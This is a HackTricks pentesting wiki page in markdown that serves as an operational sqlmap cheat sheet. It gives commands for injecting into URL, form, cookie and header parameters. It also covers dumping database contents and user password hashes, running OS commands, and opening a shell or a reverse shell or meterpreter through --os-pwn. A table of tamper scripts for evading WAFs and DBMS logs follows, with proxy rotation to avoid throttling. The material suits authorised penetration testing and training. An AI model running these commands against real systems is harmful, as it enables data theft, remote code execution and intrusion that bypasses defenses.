sqlmap.md (14434B)
1 --- 2 title: "SQLMap" 3 section: "Web Pentesting" 4 sectionSlug: "pentesting-web" 5 sourcePath: "src/pentesting-web/sql-injection/sqlmap.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/sql-injection/sqlmap.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # SQLMap 14 15 This page is a compact operational guide for common sqlmap workflows. The more exhaustive [SQLMap cheatsheet](/hacktricks/pentesting-web/sql-injection/sqlmap/overview) includes additional request, file-access, and tuning options. 16 17 ## Basic arguments for SQLmap 18 19 ### Generic 20 21 ```bash 22 -u "<URL>" 23 -p "<PARAM TO TEST>" 24 --user-agent=SQLMAP 25 --random-agent 26 --threads=10 27 --risk=3 #MAX 28 --level=5 #MAX 29 --dbms="<KNOWN DB TECH>" 30 --os="<OS>" 31 --technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ") 32 --batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers 33 --auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI) 34 --auth-cred="<AUTH>" #HTTP authentication credentials (name:password) 35 --proxy=PROXY 36 ``` 37 38 ### Technique flags (`--technique`) 39 40 The `--technique` argument defines which SQL injection methods sqlmap will attempt. 41 Each character in the string represents a technique:<sup>[[2]](#references)</sup> 42 43 | Letter | Technique | Description | 44 | ------ | --------- | ----------- | 45 | B | Boolean-based blind | Uses true/false conditions to infer data | 46 | E | Error-based | Leverages verbose DBMS error messages to exfiltrate results | 47 | U | UNION query | Injects `UNION SELECT` statements to fetch data via the same channel | 48 | S | Stacked queries | Adds additional statements separated by `;` | 49 | T | Time-based blind | Relies on delays (`SLEEP`, `WAITFOR`) to detect injection | 50 | Q | Inline / out-of-band | Uses functions such as `LOAD_FILE()` or OOB channels like DNS | 51 52 Default order is `BEUSTQ`. You can rearrange or limit them, e.g. only Boolean and Time-based in that order: 53 54 ```bash 55 sqlmap -u "http://target/?id=1" --technique="BT" --batch 56 ``` 57 58 ### Retrieve Information 59 60 #### Internal 61 62 ```bash 63 --current-user #Get current user 64 --is-dba #Check if current user is Admin 65 --hostname #Get hostname 66 --users #Get usernames od DB 67 --passwords #Get passwords of users in DB 68 ``` 69 70 #### DB data 71 72 ```bash 73 --all #Retrieve everything 74 --dump #Dump DBMS database table entries 75 --dbs #Names of the available databases 76 --tables #Tables of a database ( -D <DB NAME> ) 77 --columns #Columns of a table ( -D <DB NAME> -T <TABLE NAME> ) 78 -D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column 79 ``` 80 81 ## Injection place 82 83 ### From Burp/ZAP capture 84 85 Capture the request and create a req.txt file 86 87 ```bash 88 sqlmap -r req.txt --current-user 89 ``` 90 91 ### GET Request Injection 92 93 ```bash 94 sqlmap -u "http://example.com/?id=1" -p id 95 sqlmap -u "http://example.com/?id=*" -p id 96 ``` 97 98 ### POST Request Injection 99 100 ```bash 101 sqlmap -u "http://example.com" --data "username=*&password=*" 102 ``` 103 104 ### Injections in Headers and other HTTP Methods 105 106 ```bash 107 #Inside cookie 108 sqlmap -u "http://example.com" --cookie "mycookies=*" 109 110 #Inside some header 111 sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*" 112 sqlmap -u "http://example.com" --headers="referer:*" 113 114 #PUT Method 115 sqlmap --method=PUT -u "http://example.com" --headers="referer:*" 116 117 #The injection is located at the '*' 118 ``` 119 120 ### Second order injection 121 122 ```bash 123 python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3 124 sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs 125 ``` 126 127 ### Shell 128 129 ```bash 130 #Exec command 131 python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami 132 133 #Simple Shell 134 python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell 135 136 #Dropping a reverse-shell / meterpreter 137 python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn 138 ``` 139 140 ### Crawl a website with SQLmap and auto-exploit 141 142 ```bash 143 sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3 144 145 --batch = accept default answers without interactive prompts 146 --crawl = set the crawler's maximum link depth 147 --forms = discover and test HTML forms 148 ``` 149 150 ## Customizing Injection 151 152 ### Set a suffix 153 154 ```bash 155 python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- " 156 ``` 157 158 ### Prefix 159 160 ```bash 161 python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') " 162 ``` 163 164 ### Help finding boolean injection 165 166 ```bash 167 # The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection) 168 sqlmap -r r.txt -p id --not-string ridiculous --batch 169 ``` 170 171 ### Tamper 172 173 ```bash 174 --tamper=name_of_the_tamper 175 #In kali you can see all the tampers in /usr/share/sqlmap/tamper 176 ``` 177 178 | Tamper | Description | 179 | :--------------------------- | :--------------------------------------------------------------------------------------------------------------------------------- | 180 | apostrophemask.py | Replaces apostrophe character with its UTF-8 full width counterpart | 181 | apostrophenullencode.py | Replaces apostrophe character with its illegal double unicode counterpart | 182 | appendnullbyte.py | Appends encoded NULL byte character at the end of payload | 183 | base64encode.py | Base64 all characters in a given payload | 184 | between.py | Replaces greater than operator \('>'\) with 'NOT BETWEEN 0 AND \#' | 185 | bluecoat.py | Replaces space character after SQL statement with a valid random blank character.Afterwards replace character = with LIKE operator | 186 | chardoubleencode.py | Double url-encodes all characters in a given payload \(not processing already encoded\) | 187 | commalesslimit.py | Replaces instances like 'LIMIT M, N' with 'LIMIT N OFFSET M' | 188 | commalessmid.py | Replaces instances like 'MID\(A, B, C\)' with 'MID\(A FROM B FOR C\)' | 189 | concat2concatws.py | Replaces instances like 'CONCAT\(A, B\)' with 'CONCAT_WS\(MID\(CHAR\(0\), 0, 0\), A, B\)' | 190 | charencode.py | Url-encodes all characters in a given payload \(not processing already encoded\) | 191 | charunicodeencode.py | Unicode-url-encodes non-encoded characters in a given payload \(not processing already encoded\). "%u0022" | 192 | charunicodeescape.py | Unicode-url-encodes non-encoded characters in a given payload \(not processing already encoded\). "\u0022" | 193 | equaltolike.py | Replaces all occurrences of the equality operator \('='\) with `LIKE` | 194 | escapequotes.py | Slash escape quotes \(' and "\) | 195 | greatest.py | Replaces greater than operator \('>'\) with 'GREATEST' counterpart | 196 | halfversionedmorekeywords.py | Adds versioned MySQL comment before each keyword | 197 | ifnull2ifisnull.py | Replaces instances like 'IFNULL\(A, B\)' with 'IF\(ISNULL\(A\), B, A\)' | 198 | modsecurityversioned.py | Embraces complete query with versioned comment | 199 | modsecurityzeroversioned.py | Embraces complete query with zero-versioned comment | 200 | multiplespaces.py | Adds multiple spaces around SQL keywords | 201 | nonrecursivereplacement.py | Replaces predefined SQL keywords with representations suitable for replacement \(e.g. .replace\("SELECT", ""\)\) filters | 202 | percentage.py | Adds a percentage sign \('%'\) in front of each character | 203 | overlongutf8.py | Converts all characters in a given payload \(not processing already encoded\) | 204 | randomcase.py | Replaces each keyword character with random case value | 205 | randomcomments.py | Add random comments to SQL keywords | 206 | securesphere.py | Appends special crafted string | 207 | sp_password.py | Appends 'sp_password' to the end of the payload for automatic obfuscation from DBMS logs | 208 | space2comment.py | Replaces space character \(' '\) with comments | 209 | space2dash.py | Replaces space character \(' '\) with a dash comment \('--'\) followed by a random string and a new line \('\n'\) | 210 | space2hash.py | Replaces space character \(' '\) with a pound character \('\#'\) followed by a random string and a new line \('\n'\) | 211 | space2morehash.py | Replaces space character \(' '\) with a pound character \('\#'\) followed by a random string and a new line \('\n'\) | 212 | space2mssqlblank.py | Replaces space character \(' '\) with a random blank character from a valid set of alternate characters | 213 | space2mssqlhash.py | Replaces space character \(' '\) with a pound character \('\#'\) followed by a new line \('\n'\) | 214 | space2mysqlblank.py | Replaces space character \(' '\) with a random blank character from a valid set of alternate characters | 215 | space2mysqldash.py | Replaces space character \(' '\) with a dash comment \('--'\) followed by a new line \('\n'\) | 216 | space2plus.py | Replaces space character \(' '\) with plus \('+'\) | 217 | space2randomblank.py | Replaces space character \(' '\) with a random blank character from a valid set of alternate characters | 218 | symboliclogical.py | Replaces AND and OR logical operators with their symbolic counterparts \(&& and \|\|\) | 219 | unionalltounion.py | Replaces UNION ALL SELECT with UNION SELECT | 220 | unmagicquotes.py | Replaces quote character \(') with a multi-byte combo %bf%27 together with generic comment at the end \(to make it work\) | 221 | uppercase.py | Replaces each keyword character with upper case value 'INSERT' | 222 | varnish.py | Append a HTTP header 'X-originating-IP' | 223 | versionedkeywords.py | Encloses each non-function keyword with versioned MySQL comment | 224 | versionedmorekeywords.py | Encloses each keyword with versioned MySQL comment | 225 | xforwardedfor.py | Append a fake HTTP header 'X-Forwarded-For' | 226 | luanginxmore.py | POST-only tamper that prepends millions of dummy parameters to exhaust Lua‑Nginx WAF parsers (e.g., Cloudflare). | 227 228 `luanginxmore` generates ~4.2M random POST parameters before your payload; use it only with `--method=POST` and expect large request sizes to crash poorly configured Lua-Nginx WAFs.<sup>[[3]](#references)</sup> 229 230 ## Recent switches worth enabling (>=1.9.x) 231 232 * **HTTP/2 transport**: `--http2` forces sqlmap to speak HTTP/2 (helpful against front-ends that rate-limit HTTP/1.1 but relax h2). Combine with `--force-ssl` to pin HTTPS.<sup>[[4]](#references)</sup> 233 * **Proxy rotation**: `--proxy-file proxies.txt --proxy-freq 3` will rotate through a list, changing proxy every 3 requests to avoid IP-based throttling.<sup>[[1]](#references)</sup> 234 * **Offline / purge modes**: `--offline` reuses cached session data without touching the target (zero network traffic), while `--purge` securely wipes the session/output directory when you’re done. 235 * **Mobile UA emulation**: `--mobile` prompts you to spoof a popular smartphone User-Agent, useful on APIs that expose additional fields to mobile clients. 236 237 ## References 238 239 - [1] [SQLMap Usage Wiki](https://github.com/sqlmapproject/sqlmap/wiki/usage) 240 - [2] [SQLMap: Testing SQL Database Vulnerabilities](https://blog.bughunt.com.br/sqlmap-vulnerabilidades-banco-de-dados/) 241 - [3] [luanginxmore tamper (sqlmap GitHub)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/tamper/luanginxmore.py) 242 - [4] [SQLMap Command Builder (flags summary incl. HTTP/2)](https://vizzdoom.github.io/sqlmap-command-builder/)